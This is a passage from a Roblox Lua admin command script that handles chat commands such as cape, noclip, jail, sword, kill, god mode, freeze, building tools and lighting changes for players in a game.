  427. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  428. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  429. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  430. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  431. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  432. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  433. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  434. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  435. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  436. if BrickColor.new(teststr) ~= nil then str = teststr end
  437. end
  438. for i, v in pairs(plrz) do
  439. coroutine.resume(coroutine.create(function()
  440. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  441. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  442. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  443. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  444. local torso = plr.Character.Torso
  445. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  446. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  447. p.Size = Vector3.new(.2,.2,.2)
  448. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  449. local motor1 = Instance.new("Motor", p)
  450. motor1.Part0 = p
  451. motor1.Part1 = torso
  452. motor1.MaxVelocity = .01
  453. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  454. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  455. local wave = false
  456. repeat wait(1/44)
  457. local ang = 0.1
  458. local oldmag = torso.Velocity.magnitude
  459. local mv = .002
  460. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  461. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  462. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  463. motor1.DesiredAngle = -ang
  464. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  465. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  466. if torso.Velocity.magnitude < .1 then wait(.1) end
  467. until not p or p.Parent ~= torso.Parent
  468. script:Destroy()
  469. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  470. end
  471. end))
  472. end
  473. end
  474.  
  475. if msg:lower():sub(1,7) == "uncape " then
  476. local plrz = GetPlr(plr, msg:lower():sub(8))
  477. for i, v in pairs(plrz) do
  478. coroutine.resume(coroutine.create(function()
  479. if v and v:findFirstChild("PlayerGui") and v.Character then
  480. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  481. end
  482. end))
  483. end
  484. end
  485.  
  486. if msg:lower():sub(1,7) == "noclip " then
  487. local plrz = GetPlr(plr, msg:lower():sub(8))
  488. for i, v in pairs(plrz) do
  489. coroutine.resume(coroutine.create(function()
  490. if v and v:findFirstChild("PlayerGui") then
  491. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  492. cl.Parent = v.PlayerGui cl.Disabled = false
  493. end
  494. end))
  495. end
  496. end
  497.  
  498. if msg:lower():sub(1,5) == "clip " then
  499. local plrz = GetPlr(plr, msg:lower():sub(6))
  500. for i, v in pairs(plrz) do
  501. coroutine.resume(coroutine.create(function()
  502. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  503. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  504. v.Character.Torso.Anchored = false
  505. wait(.1) v.Character.Humanoid.PlatformStand = false
  506. end
  507. end))
  508. end
  509. end
  510.  
  511. if msg:lower():sub(1,5) == "jail " then
  512. local plrz = GetPlr(plr, msg:lower():sub(6))
  513. for i, v in pairs(plrz) do
  514. coroutine.resume(coroutine.create(function()
  515. if v and v.Character and v.Character:findFirstChild("Torso") then
  516. local vname = v.Name
  517. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  518. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  519. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  520. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  521. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  522. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  523. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  524. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  525. end)
  526. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  527. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  528. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  529. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  530. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  531. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  532. local msh2 = msh:Clone() msh2.Parent = back
  533. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  534. local msh4 = msh3:Clone() msh4.Parent = left
  535. v.Character.Torso.CFrame = cf
  536. end
  537. end))
  538. end
  539. end
  540.  
  541. if msg:lower():sub(1,7) == "unjail " then
  542. local plrz = GetPlr(plr, msg:lower():sub(8))
  543. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  544. end
  545.  
  546. if msg:lower():sub(1,11) == "starttools " then
  547. local plrz = GetPlr(plr, msg:lower():sub(12))
  548. for i, v in pairs(plrz) do
  549. coroutine.resume(coroutine.create(function()
  550. if v and v:findFirstChild("Backpack") then
  551. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  552. end
  553. end))
  554. end
  555. end
  556.  
  557. if msg:lower():sub(1,6) == "sword " then
  558. local plrz = GetPlr(plr, msg:lower():sub(7))
  559. for i, v in pairs(plrz) do
  560. coroutine.resume(coroutine.create(function()
  561. if v and v:findFirstChild("Backpack") then
  562. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  563. sword.GripForward = Vector3.new(-1,0,0)
  564. sword.GripPos = Vector3.new(0,0,-1.5)
  565. sword.GripRight = Vector3.new(0,1,0)
  566. sword.GripUp = Vector3.new(0,0,1)
  567. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  568. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  569. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  570. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  571. local Damage = 15
  572. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  573. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  574. SlashSound.Volume = 1
  575. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  576. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  577. LungeSound.Volume = 1
  578. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  579. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  580. UnsheathSound.Volume = 1
  581. local last = 0
  582. script.Parent.Handle.Touched:connect(function(hit)
  583. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  584. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  585. hit.Parent.Humanoid:TakeDamage(Damage)
  586. end
  587. end)
  588. script.Parent.Activated:connect(function()
  589. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  590. script.Parent.Enabled = false
  591. local tick = game:service("RunService").Stepped:wait()
  592. if tick - last <= .2 then
  593. LungeSound:play()
  594. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  595. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  596. wait(.2)
  597. script.Parent.GripForward = Vector3.new(0,0,1)
  598. script.Parent.GripRight = Vector3.new(0,-1,0)
  599. script.Parent.GripUp = Vector3.new(-1,0,0)
  600. wait(.3)
  601. frc:Destroy() wait(.5)
  602. script.Parent.GripForward = Vector3.new(-1,0,0)
  603. script.Parent.GripRight = Vector3.new(0,1,0)
  604. script.Parent.GripUp = Vector3.new(0,0,1)
  605. else
  606. SlashSound:play()
  607. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  608. end
  609. last = tick
  610. script.Parent.Enabled = true
  611. end)
  612. script.Parent.Equipped:connect(function(mouse)
  613. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  614. UnsheathSound:play()
  615. script.Parent.Enabled = true
  616. if not mouse then return end
  617. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  618. end)]] cl.Disabled = false
  619. end
  620. end))
  621. end
  622. end
  623.  
  624. if msg:lower():sub(1,6) == "clone " then
  625. local plrz = GetPlr(plr, msg:lower():sub(7))
  626. for i, v in pairs(plrz) do
  627. coroutine.resume(coroutine.create(function()
  628. if v and v.Character then
  629. v.Character.Archivable = true
  630. local cl = v.Character:Clone()
  631. table.insert(objects,cl)
  632. cl.Parent = game.Workspace
  633. cl:MoveTo(v.Character:GetModelCFrame().p)
  634. cl:MakeJoints()
  635. v.Character.Archivable = false
  636. end
  637. end))
  638. end
  639. end
  640.  
  641. if msg:lower():sub(1,8) == "control " then
  642. local plrz = GetPlr(plr, msg:lower():sub(9))
  643. for i, v in pairs(plrz) do
  644. coroutine.resume(coroutine.create(function()
  645. if v and v.Character then
  646. v.Character.Humanoid.PlatformStand = true
  647. local w = Instance.new("Weld", plr.Character.Torso )
  648. w.Part0 = plr.Character.Torso
  649. w.Part1 = v.Character.Torso
  650. local w2 = Instance.new("Weld", plr.Character.Head)
  651. w2.Part0 = plr.Character.Head
  652. w2.Part1 = v.Character.Head
  653. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  654. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  655. w3.Part1 = v.Character:findFirstChild("Right Arm")
  656. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  657. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  658. w4.Part1 = v.Character:findFirstChild("Left Arm")
  659. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  660. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  661. w5.Part1 = v.Character:findFirstChild("Right Leg")
  662. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  663. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  664. w6.Part1 = v.Character:findFirstChild("Left Leg")
  665. plr.Character.Head.face:Destroy()
  666. for i, p in pairs(v.Character:children()) do
  667. if p:IsA("BasePart") then
  668. p.CanCollide = false
  669. end
  670. end
  671. for i, p in pairs(plr.Character:children()) do
  672. if p:IsA("BasePart") then
  673. p.Transparency = 1
  674. elseif p:IsA("Hat") then
  675. p:Destroy()
  676. end
  677. end
  678. v.Character.Parent = plr.Character
  679. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  680. end
  681. end))
  682. end
  683. end
  684.  
  685. if msg:lower():sub(1,5) == "kill " then
  686. local plrz = GetPlr(plr, msg:lower():sub(6))
  687. for i, v in pairs(plrz) do
  688. coroutine.resume(coroutine.create(function()
  689. if v and v.Character then v.Character:BreakJoints() end
  690. end))
  691. end
  692. end
  693.  
  694. if msg:lower():sub(1,8) == "respawn " then
  695. local plrz = GetPlr(plr, msg:lower():sub(9))
  696. for i, v in pairs(plrz) do
  697. coroutine.resume(coroutine.create(function()
  698. if v and v.Character then v:LoadCharacter() end
  699. end))
  700. end
  701. end
  702.  
  703. if msg:lower():sub(1,5) == "trip " then
  704. local plrz = GetPlr(plr, msg:lower():sub(6))
  705. for i, v in pairs(plrz) do
  706. coroutine.resume(coroutine.create(function()
  707. if v and v.Character and v.Character:findFirstChild("Torso") then
  708. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  709. end
  710. end))
  711. end
  712. end
  713.  
  714. if msg:lower():sub(1,5) == "stun " then
  715. local plrz = GetPlr(plr, msg:lower():sub(6))
  716. for i, v in pairs(plrz) do
  717. coroutine.resume(coroutine.create(function()
  718. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  719. v.Character.Humanoid.PlatformStand = true
  720. end
  721. end))
  722. end
  723. end
  724.  
  725. if msg:lower():sub(1,7) == "unstun " then
  726. local plrz = GetPlr(plr, msg:lower():sub(8))
  727. for i, v in pairs(plrz) do
  728. coroutine.resume(coroutine.create(function()
  729. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  730. v.Character.Humanoid.PlatformStand = false
  731. end
  732. end))
  733. end
  734. end
  735.  
  736. if msg:lower():sub(1,5) == "jump " then
  737. local plrz = GetPlr(plr, msg:lower():sub(6))
  738. for i, v in pairs(plrz) do
  739. coroutine.resume(coroutine.create(function()
  740. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  741. v.Character.Humanoid.Jump = true
  742. end
  743. end))
  744. end
  745. end
  746.  
  747. if msg:lower():sub(1,4) == "sit " then
  748. local plrz = GetPlr(plr, msg:lower():sub(5))
  749. for i, v in pairs(plrz) do
  750. coroutine.resume(coroutine.create(function()
  751. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  752. v.Character.Humanoid.Sit = true
  753. end
  754. end))
  755. end
  756. end
  757.  
  758. if msg:lower():sub(1,10) == "invisible " then
  759. local plrz = GetPlr(plr, msg:lower():sub(11))
  760. for i, v in pairs(plrz) do
  761. coroutine.resume(coroutine.create(function()
  762. if v and v.Character then
  763. for a, obj in pairs(v.Character:children()) do
  764. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  765. end
  766. end
  767. end))
  768. end
  769. end
  770.  
  771. if msg:lower():sub(1,8) == "visible " then
  772. local plrz = GetPlr(plr, msg:lower():sub(9))
  773. for i, v in pairs(plrz) do
  774. coroutine.resume(coroutine.create(function()
  775. if v and v.Character then
  776. for a, obj in pairs(v.Character:children()) do
  777. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  778. end
  779. end
  780. end))
  781. end
  782. end
  783.  
  784. if msg:lower():sub(1,5) == "lock " then
  785. local plrz = GetPlr(plr, msg:lower():sub(6))
  786. for i, v in pairs(plrz) do
  787. coroutine.resume(coroutine.create(function()
  788. if v and v.Character then
  789. for a, obj in pairs(v.Character:children()) do
  790. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  791. end
  792. end
  793. end))
  794. end
  795. end
  796.  
  797. if msg:lower():sub(1,7) == "unlock " then
  798. local plrz = GetPlr(plr, msg:lower():sub(8))
  799. for i, v in pairs(plrz) do
  800. coroutine.resume(coroutine.create(function()
  801. if v and v.Character then
  802. for a, obj in pairs(v.Character:children()) do
  803. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  804. end
  805. end
  806. end))
  807. end
  808. end
  809.  
  810. if msg:lower():sub(1,8) == "explode " then
  811. local plrz = GetPlr(plr, msg:lower():sub(9))
  812. for i, v in pairs(plrz) do
  813. coroutine.resume(coroutine.create(function()
  814. if v and v.Character and v.Character:findFirstChild("Torso") then
  815. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  816. end
  817. end))
  818. end
  819. end
  820.  
  821. if msg:lower():sub(1,4) == "age " then
  822. local plrz = GetPlr(plr, msg:lower():sub(5))
  823. for i, v in pairs(plrz) do
  824. coroutine.resume(coroutine.create(function()
  825. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  826. end))
  827. end
  828. end
  829.  
  830. if msg:lower():sub(1,5) == "fire " then
  831. local plrz = GetPlr(plr, msg:lower():sub(6))
  832. for i, v in pairs(plrz) do
  833. coroutine.resume(coroutine.create(function()
  834. if v and v.Character and v.Character:findFirstChild("Torso") then
  835. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  836. end
  837. end))
  838. end
  839. end
  840.  
  841. if msg:lower():sub(1,7) == "unfire " then
  842. local plrz = GetPlr(plr, msg:lower():sub(8))
  843. for i, v in pairs(plrz) do
  844. coroutine.resume(coroutine.create(function()
  845. if v and v.Character and v.Character:findFirstChild("Torso") then
  846. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  847. end
  848. end))
  849. end
  850. end
  851.  
  852. if msg:lower():sub(1,6) == "smoke " then
  853. local plrz = GetPlr(plr, msg:lower():sub(7))
  854. for i, v in pairs(plrz) do
  855. coroutine.resume(coroutine.create(function()
  856. if v and v.Character and v.Character:findFirstChild("Torso") then
  857. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  858. end
  859. end))
  860. end
  861. end
  862.  
  863. if msg:lower():sub(1,8) == "unsmoke " then
  864. local plrz = GetPlr(plr, msg:lower():sub(9))
  865. for i, v in pairs(plrz) do
  866. coroutine.resume(coroutine.create(function()
  867. if v and v.Character and v.Character:findFirstChild("Torso") then
  868. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  869. end
  870. end))
  871. end
  872. end
  873.  
  874. if msg:lower():sub(1,9) == "sparkles " then
  875. local plrz = GetPlr(plr, msg:lower():sub(10))
  876. for i, v in pairs(plrz) do
  877. coroutine.resume(coroutine.create(function()
  878. if v and v.Character and v.Character:findFirstChild("Torso") then
  879. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  880. end
  881. end))
  882. end
  883. end
  884.  
  885. if msg:lower():sub(1,11) == "unsparkles " then
  886. local plrz = GetPlr(plr, msg:lower():sub(12))
  887. for i, v in pairs(plrz) do
  888. coroutine.resume(coroutine.create(function()
  889. if v and v.Character and v.Character:findFirstChild("Torso") then
  890. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  891. end
  892. end))
  893. end
  894. end
  895.  
  896. if msg:lower():sub(1,3) == "ff " then
  897. local plrz = GetPlr(plr, msg:lower():sub(4))
  898. for i, v in pairs(plrz) do
  899. coroutine.resume(coroutine.create(function()
  900. if v and v.Character then Instance.new("ForceField", v.Character) end
  901. end))
  902. end
  903. end
  904.  
  905. if msg:lower():sub(1,5) == "unff " then
  906. local plrz = GetPlr(plr, msg:lower():sub(6))
  907. for i, v in pairs(plrz) do
  908. coroutine.resume(coroutine.create(function()
  909. if v and v.Character then
  910. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  911. end
  912. end))
  913. end
  914. end
  915.  
  916. if msg:lower():sub(1,7) == "punish " then
  917. local plrz = GetPlr(plr, msg:lower():sub(8))
  918. for i, v in pairs(plrz) do
  919. coroutine.resume(coroutine.create(function()
  920. if v and v.Character then
  921. v.Character.Parent = game:service("Lighting")
  922. end
  923. end))
  924. end
  925. end
  926.  
  927. if msg:lower():sub(1,9) == "unpunish " then
  928. local plrz = GetPlr(plr, msg:lower():sub(10))
  929. for i, v in pairs(plrz) do
  930. coroutine.resume(coroutine.create(function()
  931. if v and v.Character then
  932. v.Character.Parent = game:service("Workspace")
  933. v.Character:MakeJoints()
  934. end
  935. end))
  936. end
  937. end
  938.  
  939. if msg:lower():sub(1,7) == "freeze " then
  940. local plrz = GetPlr(plr, msg:lower():sub(8))
  941. for i, v in pairs(plrz) do
  942. coroutine.resume(coroutine.create(function()
  943. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  944. for a, obj in pairs(v.Character:children()) do
  945. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  946. end
  947. end
  948. end))
  949. end
  950. end
  951.  
  952. if msg:lower():sub(1,5) == "thaw " then
  953. local plrz = GetPlr(plr, msg:lower():sub(6))
  954. for i, v in pairs(plrz) do
  955. coroutine.resume(coroutine.create(function()
  956. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  957. for a, obj in pairs(v.Character:children()) do
  958. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  959. end
  960. end
  961. end))
  962. end
  963. end
  964.  
  965. if msg:lower():sub(1,5) == "heal " then
  966. local plrz = GetPlr(plr, msg:lower():sub(6))
  967. for i, v in pairs(plrz) do
  968. coroutine.resume(coroutine.create(function()
  969. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  970. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  971. end
  972. end))
  973. end
  974. end
  975.  
  976. if msg:lower():sub(1,4) == "god " then
  977. local plrz = GetPlr(plr, msg:lower():sub(5))
  978. for i, v in pairs(plrz) do
  979. coroutine.resume(coroutine.create(function()
  980. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  981. v.Character.Humanoid.MaxHealth = math.huge
  982. v.Character.Humanoid.Health = 9e9
  983. end
  984. end))
  985. end
  986. end
  987.  
  988. if msg:lower():sub(1,6) == "ungod " then
  989. local plrz = GetPlr(plr, msg:lower():sub(7))
  990. for i, v in pairs(plrz) do
  991. coroutine.resume(coroutine.create(function()
  992. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  993. v.Character.Humanoid.MaxHealth = 100
  994. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  995. end
  996. end))
  997. end
  998. end
  999.  
  1000. if msg:lower():sub(1,8) == "ambient " then
  1001. local chk1 = msg:lower():sub(9):find(" ") + 8
  1002. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1003. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1004. end
  1005.  
  1006. if msg:lower():sub(1,11) == "brightness " then
  1007. game.Lighting.Brightness = msg:sub(12)
  1008. end
  1009.  
  1010. if msg:lower():sub(1,5) == "time " then
  1011. game.Lighting.TimeOfDay = msg:sub(6)
  1012. end
  1013.  
  1014. if msg:lower():sub(1,9) == "fogcolor " then
  1015. local chk1 = msg:lower():sub(10):find(" ") + 9
  1016. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1017. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1018. end
  1019.  
  1020. if msg:lower():sub(1,7) == "fogend " then
  1021. game.Lighting.FogEnd = msg:sub(8)
  1022. end
  1023.  
  1024. if msg:lower():sub(1,9) == "fogstart " then
  1025. game.Lighting.FogStart = msg:sub(10)
  1026. end
  1027.  
  1028. if msg:lower():sub(1,7) == "btools " then
  1029. local plrz = GetPlr(plr, msg:lower():sub(8))
  1030. for i, v in pairs(plrz) do
  1031. coroutine.resume(coroutine.create(function()
  1032. if v and v:findFirstChild("Backpack") then
  1033. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1034. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1035. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1036. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1037. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1038. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1039. local sb
  1040. local hs
  1041. local pdist
  1042.  
  1043. script.Parent.Selected:connect(function(mouse)
  1044. if not mouse then return end
  1045. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1046. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1047. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1048. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1049. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1050. end)
  1051.  
  1052. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1053. end
  1054. end))
  1055. end
  1056. end
  1057.  
  1058. if msg:lower():sub(1,12) == "startergive " then
  1059. local chk1 = msg:lower():sub(13):find(" ") + 12
  1060. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1061. for i, v in pairs(plrz) do
  1062. coroutine.resume(coroutine.create(function()
  1063. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1064. for a, tool in pairs(game.Lighting:children()) do
  1065. if tool:IsA("Tool") or tool:IsA("HopperBin") then
